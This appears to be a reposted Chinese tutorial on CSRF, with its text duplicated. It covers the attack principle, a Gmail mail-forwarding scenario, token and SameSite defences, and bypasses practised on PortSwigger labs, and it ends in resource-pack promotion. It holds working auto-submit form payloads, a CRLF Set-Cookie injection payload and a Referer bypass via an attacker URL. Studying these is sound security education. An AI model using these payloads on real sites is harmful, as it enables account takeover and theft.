1 什么是 CSRF面试的时候的著名问题“谈一谈你对 CSRF 与 SSRF 区别的看法”这个问题如果我们用非常通俗的语言讲的话CSRF 更像是钓鱼的举动是用户攻击用户的而对于 SSRF 来说是由服务器发出请求用户日服务器的。CSRFCross-site request forgery跨站请求伪造攻击者诱导受害者进入第三方网站在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证绕过后台的用户验证达到冒充用户对被攻击的网站执行某项操作的目的。在 Port 中原理图是这样的我们在学习 CSRF 攻击之前好好先阐述一下它的原理一个典型的CSRF攻击有着如下的流程受害者登录 a.com并保留了登录凭证Cookie。攻击者引诱受害者访问了 b.com。b.com 向 a.com 发送了一个请求a.com/actxx。浏览器会默认携带 a.com 的 Cookie。a.com 接收到请求后对请求进行验证并确认是受害者的凭证误以为是受害者自己发送的请求。a.com 以受害者的名义执行了 actxx。攻击完成攻击者在受害者不知情的情况下冒充受害者让 a.com 执行了自己定义的操作。是不是感觉这个工作流程和 XSS 有些类似但是 XSS 与 CSRF 的最大区别在于对 Cookie 的使用XSS 的把受害者 的 Cookie 偷盗过来而 CSRF 则是借用了受害者的 Cookie。下面我们举个例子深化一下 CSRF 的原理。2 CSRF 实战场景(原理应用)本段内容摘自美团技术团队文章这一天小明同学百无聊赖地刷着 Gmail 邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意甩卖比特币一个只要998聪明的小明当然知道这种肯定是骗子但还是抱着好奇的态度点了进去请勿模仿。果然这只是一个什么都没有的空白页面小明失望的关闭了页面。一切似乎什么都没有发生……在这平静的外表之下黑客的攻击已然得手。小明的 Gmail 中被偷偷设置了一个过滤规则这个规则使得所有的邮件都会被自动转发到 hackerhackermail.com(也就是攻击方的邮箱)。小明还在继续刷着邮件殊不知他的邮件正在一封封地如脱缰的野马一般地持续不断地向着黑客的邮箱转发而去。不久之后的一天小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费直到有一天对方开出了 $650 的赎回价码小明才开始觉得不太对劲。小明仔细查了下域名的转让对方是拥有自己的验证码的而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接打开后重新查看了“空白页”的源码form methodPOST actionhttps://mail.google.com/mail/h/ewt1jmuj4ddv/?vprf enctypemultipart/form-data input typehidden namecf2_emc valuetrue/ input typehidden namecf2_email valuehackerhakermail.com/ ..... input typehidden nameirf valueon/ input typehidden namenvp_bu_cftb valueCreate Filter/ /form script document.forms[0].submit(); /script代码解析 ———— 这也是我们后续要讲到的 CSRF Poc这个页面只要打开就会向Gmail发送一个post请求。请求中执行了“Create Filter”命令将所有的邮件转发到“hackerhackermail.com”。小明由于刚刚就登陆了Gmail所以这个请求发送时携带着小明的登录凭证CookieGmail的后台接收到请求验证了确实有小明的登录凭证于是成功给小明配置了过滤器。黑客可以查看小明的所有邮件包括邮件里的域名验证码等隐私信息。拿到验证码之后黑客就可以要求域名服务商把域名重置给自己。这个页面只要打开就会向Gmail发送一个post请求。请求中执行了“Create Filter”命令将所有的邮件转发到“hackerhackermail.com”。小明由于刚刚就登陆了Gmail所以这个请求发送时携带着小明的登录凭证CookieGmail的后台接收到请求验证了确实有小明的登录凭证于是成功给小明配置了过滤器。黑客可以查看小明的所有邮件包括邮件里的域名验证码等隐私信息。拿到验证码之后黑客就可以要求域名服务商把域名重置给自己。【如果你对网络安全入门感兴趣那么你需要的话可以点击这里网络安全重磅福利入门进阶全套282G学习资源包免费分享】①网络安全学习路线②20 份渗透测试电子书③安全攻防 357 页笔记④50 份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100 个漏洞实战案例⑧安全大厂内部教程3/ CSRF 的攻击方式上文中我们明晰了一下 CSRF 的攻击原理下面我们主讲漏洞挖掘。1. GET 请求产生的 CSRFGET 请求产生的 CSRF 较为简单有 href 攻击的方式与 HTTP 请求的方式。GET 请求的 href 类 CSRFa hrefhttp://bank.com/transfer?account\_number\_from123456789account\_number\_to987654321amount100000View my Pictures!/a在已经登录了bank.com的情况下当我们点击 “View my Pictures” 这一链接时就会将钱从一个账户转移到另一个账户数额为 100000GET 请求的 HTTP 发包 CSRF一般会这样利用在受害者访问含有这个img的页面后浏览器会自动向http://bank.example/withdraw/accountxiaomingamount10000forhacker发出一次 HTTP 请求。在攻击者接收到请求的时候我们便可以“借用”对方的 Cookie。2. POST 请求产生的 CSRFPOST 请求所产生的 CSRF 是我们利用地最多的攻击方式。这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单。form actionhttp://bank.example/withdraw methodPOST input typehidden nameaccount valuexiaoming / input typehidden nameamount value10000 / input typehidden namefor valuehacker / /form script document.forms[0].submit(); /script访问该页面后表单会自动提交相当于模拟用户完成了一次 POST 操作。POST 类型的攻击通常比 GET 要求更加严格一点但仍并不复杂。任何个人网站、博客被黑客上传页面的网站都有可能是发起攻击的来源后端接口不能将安全寄托在仅允许 POST 上面。这里可以通过 Burpsuite 自带的 CSRF Poc 工具进行攻击不过在使用的时候也有一些小技巧。基础的 CSRF 攻击体验对应可以尝试的靶场在这靶场当中并没有添加任意的 CSRF 防御因为 CSRF 本质上是一种钓鱼所以我们也需要第三方网站攻击如自己的服务器或者 Burpsuite 靶场自带的 Exploit serverWebGoat 的 WebWolf。我们先登录进靶场当中发现有一功能点 ———— Update email试想一下我们账号进行了 Update email 的操作。若我们在自己的服务器上面挂上恶意的 Payload诱导他人点击之后。相对应的对方的邮箱也会变成我们 CSRF Poc 所指定的这样子一来我就可以通过 “忘记密码” 这种服务来获取他账户的权限了。(当然这里有个前提对方是登录过的且 Cookie 处于生效期间)Exploit 部分用 Burpsuite 自带的 CSRF Poc 构造出基本框架然后我们把这个核心的表单拿出来并加以修改构造成最后的 POCform method$method action$url input typehidden name$param1name value$param1value /form script document.forms[0].submit(); /script再放入到 Exploit Server 当中点击 Deliver it to victim 即可。在对方未对 CSRF 进行任何防御的时候上述两种 CSRF 攻击方式能够通杀。懂其攻 - 知其守我们现在已经知道 CSRF 攻击方式了接下来着重讲一讲 CSRF 的防御手段以及绕过方式。4/ CSRF 的防御手段主流的 CSRF 防御手段有以下两种ban 掉不明域外访问 ———— 使用同源检测与 Samesite Cookie多加一层验证手段 CSRF Token1. 接近无敌的防御手法 CSRF Token如果通俗易懂地解释一下 CSRF Token 的工作原理的话是这样的。CSRF Token 每随着页面被操作Token 都会改变比如 f5 刷新点击按钮等等都会导致 CSRF Token 变化。而每一个请求的 CSRF Token 会通过后端代码验证 Token 的有效性 ———— 是否正确在时间戳上是否有效如果加密字符串一致且时间未过期那么这个Token就是有效的。以 Java 为例我们介绍一下 CSRF Token 服务端的校验逻辑HttpServletRequest req (HttpServletRequest)request; HttpSession s req.getSession(); // 从 session 中得到 csrftoken 属性 String sToken (String)s.getAttribute(“csrftoken”); if(sToken null) { // 产生新的 token 放入 session 中 sToken generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response); } else { // 从 HTTP 头中取得 csrftoken String xhrToken req.getHeader(“csrftoken”); // 从请求参数中取得 csrftoken String pToken req.getParameter(“csrftoken”); if(sToken ! null xhrToken ! null sToken.equals(xhrToken)){ chain.doFilter(request, response); } else if(sToken ! null pToken ! null sToken.equals(pToken)){ chain.doFilter(request, response); } else { request.getRequestDispatcher(“error.jsp”).forward(request,response); } }2. 用的较少的限制同源Samesite 是 Set-Cookie 的一种属性它有三个值Strict最为严格完全禁止第三方 Cookie跨站点时任何情况下都不会发送 Cookie。换言之只有当前网页的 URL 与请求目标一致才会带上 Cookie。Set-Cookie: CookieNameCookieValue; SameSiteStrict;Lax规则稍稍放宽大多数情况也是不发送第三方 Cookie但是导航到目标网址的 Get 请求除外。Set-Cookie: CookieNameCookieValue; SameSiteLax;还有一种属性为None这种属性代表关闭了SameSite一般攻击要进行绕过可以尝试将 SameSite 设置为 None这种方法的原理也比较简单因为 CSRF 的本质也是钓鱼比如我通过邮箱发送钓鱼邮件那么这时候的 “源” 就是邮箱界面。如果服务器设置了严格的同源政策将不接收来自邮箱这一 “源” 的请求。ok讲完了常规的防御手段接下来我们聊聊绕过5/ 针对 CSRF Token 与同源政策的绕过手段我们的绕过手段是基于 CSRF Token 或同源政策并不是那么严格的情况下甚至某些时候由于设计的疏忽产生的逻辑漏洞。若非特别提醒以下所有靶场的业务点均处于 **“Update email”**下。1. 将 POST 修改为 GET 请求进行绕过靶场地址 Lab: CSRF where token validation depends on request method)背后逻辑CSRF Token 在 POST 请求当中生效且业务点并非完全限制请求为 POST 请求从而给了攻击者进行绕过的机会。探测方法将 CSRF Token 删掉并将 HTTP 请求修改为 GET 请求。此时的回显为**“Missing parameter ‘csrf’”**我们再将 HTTP 请求修改为 GET 请求观察回显。回显 302代表我们可以用这种方式进行绕过构造 Payload2. 删除 CSRF Token 进行绕过靶场地址 Lab: CSRF where token validation depends on token being present背后逻辑:并没有强验证 CSRF Token 的存在性。我们尝试删除 CSRF Token回显 302在删除掉 CSRF Token 之后生成 POC 即可。3. CSRF Token 未与用户 Session 绑定靶场地址 Lab: CSRF where token is not tied to user session背后逻辑未进行严格的一一身份对应这其实很好理解。举个例子我们登录注册界面实际上是需要去匹配用户名与密码是否相等的而这里的逻辑也是一致。那么这里我可以先修改 Cookie再修改 CSRF Token来观察 CSRF Token 与 Cookie 是否对应了或者说是否绑定了。修改 Cookie 中的 Session 值观察回显为 “Unauthorized”修改 CSRF Token观察回显为 “Invalid CSRF Token”说明 CSRF Token 并未与 session 绑定而是与 csrfKey(也就是 value) 绑定的根据 cookie 的传递性我们可以在其他页面提前把 csrfKey 注入进去这里我们利用img与onerror组合的 XSS 以及 CLRF 技术来构造 CSRF。这里借用梨子师傅的 Poc当受害者点击 CSRF 链接时会先触发 CLRF 注入 Set-Cookie 参数值将 csrfKey 值添加到 Cookie 中然后再用附有与 csrfKey 对应的 CSRF Token 的请求去提交修改邮箱请求。4. 当 Cookie 中的 CSRF 值与 CSRF Token 的值一致时靶场地址 Lab: CSRF where token is duplicated in cookie背后逻辑只是将 CSRF Token 简单复制到 cookie 头中然后仅验证两者是否一致。所以这里我们的绕过 Poc 的核心部分应该是这样的,%0d%0a为也就是 CR 与 LFimg srcurl/?searchtest%0d%0aSet-Cookie:%20csrfjVDOkLRjgEe41xJlURwUeAIcDet4Cier onerrordocument.forms[0].submit();/5. 对不严格的 Referer 限制进行绕过靶场地址 Lab: CSRF with broken Referer validation背后逻辑并没有特别严格地限制 Referer仅仅只是不允许了这一种的 Referer。Referer: 靶场地址.com // 下面是非法的 Referer: baidu.com一般我们通过Referer: baidu.com来判断 Referer 的限制。若Referer: baidu.com被限制则我们可以通过这种方式进行绕过http://attacker-website.com/csrf-attack?baidu.com靶场部分同样是对更改邮箱这个功能点进行 CSRF 攻击这里我们需要介绍一下history.pushState这个函数顾名思义就是插入历史记录的所以这也就是为什么第三个参数的值修改为与攻击链接同源后即可绕过错误地 Referer 头验证机制所以我们这样构造 CSRF 页面。我们先修改 Referer 为 baidu.com 查看回显成功发包。修改 Referer 为baidu.com?laburl回显为 302 成功。构造 Payload将history.pushState的第三个参数修改为 Lab 的 URL 地址。投放之后在 Head 当中添加Referrer-Policy: unsafe-url6/ 小结CSRF 攻击本质上还是一种钓鱼手段本文着重讲了一些 CSRF 攻击的绕过手法说不定渗透的时候多试一试就能起到意想不到的效果。网络安全成长路线图这个方向初期比较容易入门一些掌握一些基本技术拿起各种现成的工具就可以开黑了。不过要想从脚本小子变成hei客大神这个方向越往后需要学习和掌握的东西就会越来越多以下是学习网络安全需要走的方向黑客/网络安全学习路线今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。网络安全学习资源分享:下面给大家分享一份2025最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术一、2025最新网络安全学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:网络安全的基础入门L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。L2级别网络安全的技术进阶L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。L3级别网络安全的高阶提升L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。L4级别网络安全的项目实战L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、技术文档和经典PDF书籍书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本书籍含电子版PDF三、网络安全视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的网安视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。四、网络安全护网行动/CTF比赛学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、网络安全工具包、面试题和源码“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。面试不仅是技术的较量更需要充分的准备。在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。如果你是要找网安方面的工作它们绝对能帮你大忙。这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。参考解析深信服官网、奇安信官网、Freebuf、csdn等内容特点条理清晰含图像化表示更加易懂。内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
收藏备用!网络安全渗透之 CSRF,一篇让你彻底掌握
发布时间:2026/5/19 16:47:23
1 什么是 CSRF面试的时候的著名问题“谈一谈你对 CSRF 与 SSRF 区别的看法”这个问题如果我们用非常通俗的语言讲的话CSRF 更像是钓鱼的举动是用户攻击用户的而对于 SSRF 来说是由服务器发出请求用户日服务器的。CSRFCross-site request forgery跨站请求伪造攻击者诱导受害者进入第三方网站在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证绕过后台的用户验证达到冒充用户对被攻击的网站执行某项操作的目的。在 Port 中原理图是这样的我们在学习 CSRF 攻击之前好好先阐述一下它的原理一个典型的CSRF攻击有着如下的流程受害者登录 a.com并保留了登录凭证Cookie。攻击者引诱受害者访问了 b.com。b.com 向 a.com 发送了一个请求a.com/actxx。浏览器会默认携带 a.com 的 Cookie。a.com 接收到请求后对请求进行验证并确认是受害者的凭证误以为是受害者自己发送的请求。a.com 以受害者的名义执行了 actxx。攻击完成攻击者在受害者不知情的情况下冒充受害者让 a.com 执行了自己定义的操作。是不是感觉这个工作流程和 XSS 有些类似但是 XSS 与 CSRF 的最大区别在于对 Cookie 的使用XSS 的把受害者 的 Cookie 偷盗过来而 CSRF 则是借用了受害者的 Cookie。下面我们举个例子深化一下 CSRF 的原理。2 CSRF 实战场景(原理应用)本段内容摘自美团技术团队文章这一天小明同学百无聊赖地刷着 Gmail 邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意甩卖比特币一个只要998聪明的小明当然知道这种肯定是骗子但还是抱着好奇的态度点了进去请勿模仿。果然这只是一个什么都没有的空白页面小明失望的关闭了页面。一切似乎什么都没有发生……在这平静的外表之下黑客的攻击已然得手。小明的 Gmail 中被偷偷设置了一个过滤规则这个规则使得所有的邮件都会被自动转发到 hackerhackermail.com(也就是攻击方的邮箱)。小明还在继续刷着邮件殊不知他的邮件正在一封封地如脱缰的野马一般地持续不断地向着黑客的邮箱转发而去。不久之后的一天小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费直到有一天对方开出了 $650 的赎回价码小明才开始觉得不太对劲。小明仔细查了下域名的转让对方是拥有自己的验证码的而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接打开后重新查看了“空白页”的源码form methodPOST actionhttps://mail.google.com/mail/h/ewt1jmuj4ddv/?vprf enctypemultipart/form-data input typehidden namecf2_emc valuetrue/ input typehidden namecf2_email valuehackerhakermail.com/ ..... input typehidden nameirf valueon/ input typehidden namenvp_bu_cftb valueCreate Filter/ /form script document.forms[0].submit(); /script代码解析 ———— 这也是我们后续要讲到的 CSRF Poc这个页面只要打开就会向Gmail发送一个post请求。请求中执行了“Create Filter”命令将所有的邮件转发到“hackerhackermail.com”。小明由于刚刚就登陆了Gmail所以这个请求发送时携带着小明的登录凭证CookieGmail的后台接收到请求验证了确实有小明的登录凭证于是成功给小明配置了过滤器。黑客可以查看小明的所有邮件包括邮件里的域名验证码等隐私信息。拿到验证码之后黑客就可以要求域名服务商把域名重置给自己。这个页面只要打开就会向Gmail发送一个post请求。请求中执行了“Create Filter”命令将所有的邮件转发到“hackerhackermail.com”。小明由于刚刚就登陆了Gmail所以这个请求发送时携带着小明的登录凭证CookieGmail的后台接收到请求验证了确实有小明的登录凭证于是成功给小明配置了过滤器。黑客可以查看小明的所有邮件包括邮件里的域名验证码等隐私信息。拿到验证码之后黑客就可以要求域名服务商把域名重置给自己。【如果你对网络安全入门感兴趣那么你需要的话可以点击这里网络安全重磅福利入门进阶全套282G学习资源包免费分享】①网络安全学习路线②20 份渗透测试电子书③安全攻防 357 页笔记④50 份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100 个漏洞实战案例⑧安全大厂内部教程3/ CSRF 的攻击方式上文中我们明晰了一下 CSRF 的攻击原理下面我们主讲漏洞挖掘。1. GET 请求产生的 CSRFGET 请求产生的 CSRF 较为简单有 href 攻击的方式与 HTTP 请求的方式。GET 请求的 href 类 CSRFa hrefhttp://bank.com/transfer?account\_number\_from123456789account\_number\_to987654321amount100000View my Pictures!/a在已经登录了bank.com的情况下当我们点击 “View my Pictures” 这一链接时就会将钱从一个账户转移到另一个账户数额为 100000GET 请求的 HTTP 发包 CSRF一般会这样利用在受害者访问含有这个img的页面后浏览器会自动向http://bank.example/withdraw/accountxiaomingamount10000forhacker发出一次 HTTP 请求。在攻击者接收到请求的时候我们便可以“借用”对方的 Cookie。2. POST 请求产生的 CSRFPOST 请求所产生的 CSRF 是我们利用地最多的攻击方式。这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单。form actionhttp://bank.example/withdraw methodPOST input typehidden nameaccount valuexiaoming / input typehidden nameamount value10000 / input typehidden namefor valuehacker / /form script document.forms[0].submit(); /script访问该页面后表单会自动提交相当于模拟用户完成了一次 POST 操作。POST 类型的攻击通常比 GET 要求更加严格一点但仍并不复杂。任何个人网站、博客被黑客上传页面的网站都有可能是发起攻击的来源后端接口不能将安全寄托在仅允许 POST 上面。这里可以通过 Burpsuite 自带的 CSRF Poc 工具进行攻击不过在使用的时候也有一些小技巧。基础的 CSRF 攻击体验对应可以尝试的靶场在这靶场当中并没有添加任意的 CSRF 防御因为 CSRF 本质上是一种钓鱼所以我们也需要第三方网站攻击如自己的服务器或者 Burpsuite 靶场自带的 Exploit serverWebGoat 的 WebWolf。我们先登录进靶场当中发现有一功能点 ———— Update email试想一下我们账号进行了 Update email 的操作。若我们在自己的服务器上面挂上恶意的 Payload诱导他人点击之后。相对应的对方的邮箱也会变成我们 CSRF Poc 所指定的这样子一来我就可以通过 “忘记密码” 这种服务来获取他账户的权限了。(当然这里有个前提对方是登录过的且 Cookie 处于生效期间)Exploit 部分用 Burpsuite 自带的 CSRF Poc 构造出基本框架然后我们把这个核心的表单拿出来并加以修改构造成最后的 POCform method$method action$url input typehidden name$param1name value$param1value /form script document.forms[0].submit(); /script再放入到 Exploit Server 当中点击 Deliver it to victim 即可。在对方未对 CSRF 进行任何防御的时候上述两种 CSRF 攻击方式能够通杀。懂其攻 - 知其守我们现在已经知道 CSRF 攻击方式了接下来着重讲一讲 CSRF 的防御手段以及绕过方式。4/ CSRF 的防御手段主流的 CSRF 防御手段有以下两种ban 掉不明域外访问 ———— 使用同源检测与 Samesite Cookie多加一层验证手段 CSRF Token1. 接近无敌的防御手法 CSRF Token如果通俗易懂地解释一下 CSRF Token 的工作原理的话是这样的。CSRF Token 每随着页面被操作Token 都会改变比如 f5 刷新点击按钮等等都会导致 CSRF Token 变化。而每一个请求的 CSRF Token 会通过后端代码验证 Token 的有效性 ———— 是否正确在时间戳上是否有效如果加密字符串一致且时间未过期那么这个Token就是有效的。以 Java 为例我们介绍一下 CSRF Token 服务端的校验逻辑HttpServletRequest req (HttpServletRequest)request; HttpSession s req.getSession(); // 从 session 中得到 csrftoken 属性 String sToken (String)s.getAttribute(“csrftoken”); if(sToken null) { // 产生新的 token 放入 session 中 sToken generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response); } else { // 从 HTTP 头中取得 csrftoken String xhrToken req.getHeader(“csrftoken”); // 从请求参数中取得 csrftoken String pToken req.getParameter(“csrftoken”); if(sToken ! null xhrToken ! null sToken.equals(xhrToken)){ chain.doFilter(request, response); } else if(sToken ! null pToken ! null sToken.equals(pToken)){ chain.doFilter(request, response); } else { request.getRequestDispatcher(“error.jsp”).forward(request,response); } }2. 用的较少的限制同源Samesite 是 Set-Cookie 的一种属性它有三个值Strict最为严格完全禁止第三方 Cookie跨站点时任何情况下都不会发送 Cookie。换言之只有当前网页的 URL 与请求目标一致才会带上 Cookie。Set-Cookie: CookieNameCookieValue; SameSiteStrict;Lax规则稍稍放宽大多数情况也是不发送第三方 Cookie但是导航到目标网址的 Get 请求除外。Set-Cookie: CookieNameCookieValue; SameSiteLax;还有一种属性为None这种属性代表关闭了SameSite一般攻击要进行绕过可以尝试将 SameSite 设置为 None这种方法的原理也比较简单因为 CSRF 的本质也是钓鱼比如我通过邮箱发送钓鱼邮件那么这时候的 “源” 就是邮箱界面。如果服务器设置了严格的同源政策将不接收来自邮箱这一 “源” 的请求。ok讲完了常规的防御手段接下来我们聊聊绕过5/ 针对 CSRF Token 与同源政策的绕过手段我们的绕过手段是基于 CSRF Token 或同源政策并不是那么严格的情况下甚至某些时候由于设计的疏忽产生的逻辑漏洞。若非特别提醒以下所有靶场的业务点均处于 **“Update email”**下。1. 将 POST 修改为 GET 请求进行绕过靶场地址 Lab: CSRF where token validation depends on request method)背后逻辑CSRF Token 在 POST 请求当中生效且业务点并非完全限制请求为 POST 请求从而给了攻击者进行绕过的机会。探测方法将 CSRF Token 删掉并将 HTTP 请求修改为 GET 请求。此时的回显为**“Missing parameter ‘csrf’”**我们再将 HTTP 请求修改为 GET 请求观察回显。回显 302代表我们可以用这种方式进行绕过构造 Payload2. 删除 CSRF Token 进行绕过靶场地址 Lab: CSRF where token validation depends on token being present背后逻辑:并没有强验证 CSRF Token 的存在性。我们尝试删除 CSRF Token回显 302在删除掉 CSRF Token 之后生成 POC 即可。3. CSRF Token 未与用户 Session 绑定靶场地址 Lab: CSRF where token is not tied to user session背后逻辑未进行严格的一一身份对应这其实很好理解。举个例子我们登录注册界面实际上是需要去匹配用户名与密码是否相等的而这里的逻辑也是一致。那么这里我可以先修改 Cookie再修改 CSRF Token来观察 CSRF Token 与 Cookie 是否对应了或者说是否绑定了。修改 Cookie 中的 Session 值观察回显为 “Unauthorized”修改 CSRF Token观察回显为 “Invalid CSRF Token”说明 CSRF Token 并未与 session 绑定而是与 csrfKey(也就是 value) 绑定的根据 cookie 的传递性我们可以在其他页面提前把 csrfKey 注入进去这里我们利用img与onerror组合的 XSS 以及 CLRF 技术来构造 CSRF。这里借用梨子师傅的 Poc当受害者点击 CSRF 链接时会先触发 CLRF 注入 Set-Cookie 参数值将 csrfKey 值添加到 Cookie 中然后再用附有与 csrfKey 对应的 CSRF Token 的请求去提交修改邮箱请求。4. 当 Cookie 中的 CSRF 值与 CSRF Token 的值一致时靶场地址 Lab: CSRF where token is duplicated in cookie背后逻辑只是将 CSRF Token 简单复制到 cookie 头中然后仅验证两者是否一致。所以这里我们的绕过 Poc 的核心部分应该是这样的,%0d%0a为也就是 CR 与 LFimg srcurl/?searchtest%0d%0aSet-Cookie:%20csrfjVDOkLRjgEe41xJlURwUeAIcDet4Cier onerrordocument.forms[0].submit();/5. 对不严格的 Referer 限制进行绕过靶场地址 Lab: CSRF with broken Referer validation背后逻辑并没有特别严格地限制 Referer仅仅只是不允许了这一种的 Referer。Referer: 靶场地址.com // 下面是非法的 Referer: baidu.com一般我们通过Referer: baidu.com来判断 Referer 的限制。若Referer: baidu.com被限制则我们可以通过这种方式进行绕过http://attacker-website.com/csrf-attack?baidu.com靶场部分同样是对更改邮箱这个功能点进行 CSRF 攻击这里我们需要介绍一下history.pushState这个函数顾名思义就是插入历史记录的所以这也就是为什么第三个参数的值修改为与攻击链接同源后即可绕过错误地 Referer 头验证机制所以我们这样构造 CSRF 页面。我们先修改 Referer 为 baidu.com 查看回显成功发包。修改 Referer 为baidu.com?laburl回显为 302 成功。构造 Payload将history.pushState的第三个参数修改为 Lab 的 URL 地址。投放之后在 Head 当中添加Referrer-Policy: unsafe-url6/ 小结CSRF 攻击本质上还是一种钓鱼手段本文着重讲了一些 CSRF 攻击的绕过手法说不定渗透的时候多试一试就能起到意想不到的效果。网络安全成长路线图这个方向初期比较容易入门一些掌握一些基本技术拿起各种现成的工具就可以开黑了。不过要想从脚本小子变成hei客大神这个方向越往后需要学习和掌握的东西就会越来越多以下是学习网络安全需要走的方向黑客/网络安全学习路线今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。网络安全学习资源分享:下面给大家分享一份2025最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术一、2025最新网络安全学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:网络安全的基础入门L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。L2级别网络安全的技术进阶L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。L3级别网络安全的高阶提升L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。L4级别网络安全的项目实战L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、技术文档和经典PDF书籍书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本书籍含电子版PDF三、网络安全视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的网安视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。四、网络安全护网行动/CTF比赛学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、网络安全工具包、面试题和源码“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。面试不仅是技术的较量更需要充分的准备。在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。如果你是要找网安方面的工作它们绝对能帮你大忙。这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。参考解析深信服官网、奇安信官网、Freebuf、csdn等内容特点条理清晰含图像化表示更加易懂。内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…